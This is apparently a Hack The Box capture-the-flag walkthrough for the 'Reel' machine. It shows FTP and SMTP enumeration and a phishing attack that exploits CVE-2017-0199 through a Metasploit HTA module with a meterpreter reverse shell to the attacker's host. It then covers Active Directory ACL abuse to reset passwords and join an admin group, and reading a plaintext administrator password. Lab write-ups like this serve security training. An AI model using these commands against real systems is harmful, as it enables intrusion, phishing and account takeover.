$ ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||41001|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||41003|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM 2047 AppLocker.docx
05-28-18 02:01PM 124 readme.txt
10-31-17 10:13PM 14581 Windows Event Forwarding.docx
Downloaded all three documents to look for anything of interest in them:
# get winrm config
winrm get winrm/config
# gpo config
O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0x5;;;BA)(A;;0x1;;;S-1-5-32-573)(A;;0x1;;;NS) // add to GPO
Server=http://WEF.HTB.LOCAL:5985/wsman/SubscriptionManager/WEC,Refresh=60 // add to GPO (60 seconds)
on source computer: gpupdate /force
# prereqs
start Windows Remote Management service on source computer
add builtin\network service account to "Event Log Readers" group on collector server
# list subscriptions / export
C:\Windows\system32>wecutil es > subs.txt
# check subscription status
C:\Windows\system32>wecutil gr "Account Currently Disabled"
Subscription: Account Currently Disabled
RunTimeStatus: Active
LastError: 0
EventSources:
LAPTOP12.HTB.LOCAL
RunTimeStatus: Active
LastError: 0
LastHeartbeatTime: 2017-07-11T13:27:00.920
# change pre-rendering setting in multiple subscriptions
for /F "tokens=*" %i in (subs.txt) DO wecutil ss "%i" /cf:Events
# export subscriptions to xml
for /F "tokens=*" %i in (subs.txt) DO wecutil gs "%i" /f:xml >> "%i.xml"
# import subscriptions from xml
wecutil cs "Event Log Service Shutdown.xml"
wecutil cs "Event Log was cleared.xml"
# if get error "The locale specific resource for the desired message is not present", change subscriptions to Event format (won't do any hard running command even if they already are in this format)
1.
for /F "tokens=*" %i in (subs.txt) DO wecutil ss "%i" /cf:Events
2.
Under Windows Regional Settings, on the Formats tab, change the format to "English (United States)"
# check subscriptions are being created on the source computer
Event Log: /Applications and Services Logs/Microsoft/Windows/Eventlog-ForwardingPlugin/Operational
#### troubleshooting WEF
collector server -> subscription name -> runtime status
gpupdate /force (force checkin, get subscriptions)
check Microsoft/Windows/Eventlog-ForwardingPlugin/Operational for errors
The readme.txt suggests emailing .rtf files for converting them to .docx. Given that the target is running an SMTP server, it's likely that this hints towards a kind of phishing attack. A valid email address or username is still needed in order to set up the attack.
Analyzing the metadata in Windows Event Forwarding.docx reveals a possible username:
$ exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number : 13.25
File Name : Windows Event Forwarding.docx
Directory : .
File Size : 15 kB
File Modification Date/Time : 2017:10:31 22:13:23+01:00
File Access Date/Time : 2025:08:02 20:26:33+02:00
File Inode Change Date/Time : 2025:08:02 20:27:00+02:00
File Permissions : -rw-rw-r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
...
Creator : nico@megabank.com
Revision Number : 4
Create Date : 2017:10:31 18:42:00Z
Modify Date : 2017:10:31 18:51:00Z
...
Note
The information above can usually also be found in the Document Properties dialog in a word processor like LibreOffice Write. However, in the current case, it appears the document is semi-corrupt. When LibreOffice Write attempts to repair it, it also strips the metadata containing the author username.
Before proceeding, it's helpful to verify if the email address found above (nico@megabank.com) is valid. This can be done by connecting to the SMTP server on the target and using VRFY or RCPT TO and check if the server confirms that the address exists:
$ telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
HELO test.com
250 Hello.
VRFY nico@megabank.com
502 VRFY disallowed. # (1)
MAIL FROM:<test@test.com>
250 OK
RCPT TO:<nico@megabank.com> # (2)
250 OK
The VRFY method is the simplest to test with, but it's not allowed in the current case.
Attempting to send an email to nico@megabank.com is another method. In this case the server confirms that the address exists. If a non-existent megabank.com address is specified, the server would respond with 550 Unknown user.
Foothold
The call for RTF documents in readme.txt hints towards the target being vulnerable to CVE-2017-0199, which is a vulnerability in Microsoft Office and WordPad that can cause RCE through a malicious document. The vulnerability can be exploited in several ways, but the general idea is that the vulnerability will trigger a HTTP GET request to an attacker controlled URL in the malicious document. If the URL points to a HTML application (.hta) file, the code in the file (such as a reverse shell payload) will get executed by the victim host.
There is a Metasploit module (windows/fileformat/office_word_hta) for exploiting this vulnerability. The module is almost fully self-contained, as it takes care of both generating the malicious RTF file, setting up a web server for the call back and delivering a reverse shell payload.
msf6 exploit(windows/fileformat/office_word_hta) > options
Module options (exploit/windows/fileformat/office_word_hta):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME document.doc yes The file name.
SRVHOST 10.10.16.6 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
URIPATH default.hta yes The URI to use for the HTA file
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, pr
ocess, none)
LHOST 10.10.16.6 yes The listen address (an interface may be speci
fied)
LPORT 4444 yes The listen port
Once the exploit is launched, the only remaining step is to deliver the malicious file by email using a tool like sendemail:
$ sendemail -f test@megabank.htb -t nico@megabank.htb -u RTF -m "see attached" -a /home/kali/.msf4/local/document.doc -s 10.10.10.77 -v
Aug 02 23:58:02 kali sendemail[1713853]: DEBUG => Connecting to 10.10.10.77:25
Aug 02 23:58:02 kali sendemail[1713853]: DEBUG => My IP address is: 10.10.16.6
Aug 02 23:58:02 kali sendemail[1713853]: SUCCESS => Received: 220 Mail Service ready
Aug 02 23:58:02 kali sendemail[1713853]: INFO => Sending: EHLO kali.sbox.miso.lan
Aug 02 23:58:02 kali sendemail[1713853]: SUCCESS => Received: 250-REEL, 250-SIZE 20480000, 250-AUTH LOGIN PLAIN, 250 HELP
Aug 02 23:58:02 kali sendemail[1713853]: INFO => Sending: MAIL FROM:<test@megabank.htb>
Aug 02 23:58:02 kali sendemail[1713853]: SUCCESS => Received: 250 OK
Aug 02 23:58:02 kali sendemail[1713853]: INFO => Sending: RCPT TO:<nico@megabank.htb>
Aug 02 23:58:02 kali sendemail[1713853]: SUCCESS => Received: 250 OK
Aug 02 23:58:02 kali sendemail[1713853]: INFO => Sending: DATA
Aug 02 23:58:02 kali sendemail[1713853]: SUCCESS => Received: 354 OK, send.
Aug 02 23:58:02 kali sendemail[1713853]: INFO => Sending message body
Aug 02 23:58:02 kali sendemail[1713853]: Setting content-type: text/plain
Aug 02 23:58:02 kali sendemail[1713853]: DEBUG => Sending the attachment [/home/kali/.msf4/local/document.doc]
Aug 02 23:58:02 kali sendemail[1713853]: SUCCESS => Received: 250 Queued (0.062 seconds)
Aug 02 23:58:02 kali sendemail[1713853]: Email was sent successfully! From: <test@megabank.htb> To: <nico@megabank.htb> Subject: [RTF] Attachment(s): [document.doc] Server: [10.10.10.77:25]
Got the call back in msfconsole after a few moments with a reverse shell as user nico:
PSCredential uses the Windows Data Protection API (DPAPI) to store the credential securely. As this storage is user and machine specific, the object has to be decrypted on the same host as it was stored on.
Used the password above to log in to the target over SSH as tom.
Lateral Movement (Tom → Claire)
There is a folder on tom's desktop named AD Audit. Inside, there is a note with some findings:
Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortest path
query).
Maybe we should re-run Cypher query against other groups we've created.
There is also a subfolder named Bloodhound\Ingestors that contains binaries for BloodHound and SharpHound, as well as a file named acls.csv. Presumably this contains the results of the audit mentioned above.
Note
BloodHound has long since the box was released abandoned CSV data files in favor of JSON. Modern versions of BloodHound no longer support CSV, which means that the ACL data would have to be recollected with a newer ingestor in order to be viewable in modern versions of BloodHound.
Unfortunately, the AppLocker policy in effect on the box prevent running SharpHound.exe, limiting the choice of ingestor to the PowerShell variant only. However, as the version of PowerShell present on the box (4.0) is too old to run any of the later versions of the SharpHound ingestor, this option also won't work.
Without delving too deep into BloodHound-legacy and old versions of SharpHound, the simplest alternative in this case is to enumerate using PowerView instead.
The next step is to enumerate what access tom has inside the domain. According to PowerView, tom has a WriteOwner privilege over claire:
PS> Set-DomainUserPassword -Identity claire -AccountPassword $newpass -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'claire'
VERBOSE: [Set-DomainUserPassword] Password for user 'claire' successfully reset
Privilege Escalation (Administrator)
Running PowerView on claire reveals an ACL that gives claireWriteDacl rights on the group Backup_Admins:
claire@REEL C:\Users\claire>net group backup_admins claire /add
The command completed successfully.
claire@REEL C:\Users\claire>net group backup_admins
Group name Backup_Admins
Comment
Members
-------------------------------------------------------------------------------
claire ranj
The command completed successfully.
As a member of Backup_Admins, claire has access to C:\Users\Administrator:
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1
# admin password
$password="Cr4ckMeIfYouC4n!"
#Variables, only Change here
$Destination="\\BACKUP03\BACKUP" #Copy the Files to this Location
$Versions="50" #How many of the last Backups you want to keep
...
Used the password above to connect to the target over SSH as Administrator and get the root flag.